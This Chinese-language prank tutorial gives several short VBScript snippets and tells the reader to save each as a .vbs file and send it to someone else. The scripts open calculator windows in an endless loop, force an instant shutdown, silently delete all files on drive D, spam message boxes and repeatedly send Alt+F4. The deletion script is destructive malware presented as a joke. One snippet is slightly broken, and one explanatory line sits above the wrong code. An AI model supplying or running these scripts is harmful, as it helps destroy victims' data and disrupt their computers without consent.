vbs编程整人（利用VBS代码特效击溃对方电脑）

复制以下代码；粘贴到记事本，另存为，XXX.VBS。然后在发给对方。

set wsh=createobject("wscript.shell")

do

wsh.run "calc"

loop

复制以下代码；粘贴到记事本，另存为，XXX.vbs。然后在发给对方。

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

复制以下代码；粘贴到记事本，另存为，XXX.vbs。然后在发给对方。

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

复制以下代码；粘贴到记事本，另存为，XXX.vbs。然后在发给对方。

while(1)

msgbox "哈哈 你被耍了！"

loop

复制以下代码；粘贴到记事本，另存为，XXX.vbs。然后在发给对方。

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}"

loop

(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改)

复制以下代码；粘贴到记事本，另存为，XXX.vbs。然后在发给对方。

dim s

do until s=500

s=s 1

msgbox "哥们，给我按500次回车吧",64

loop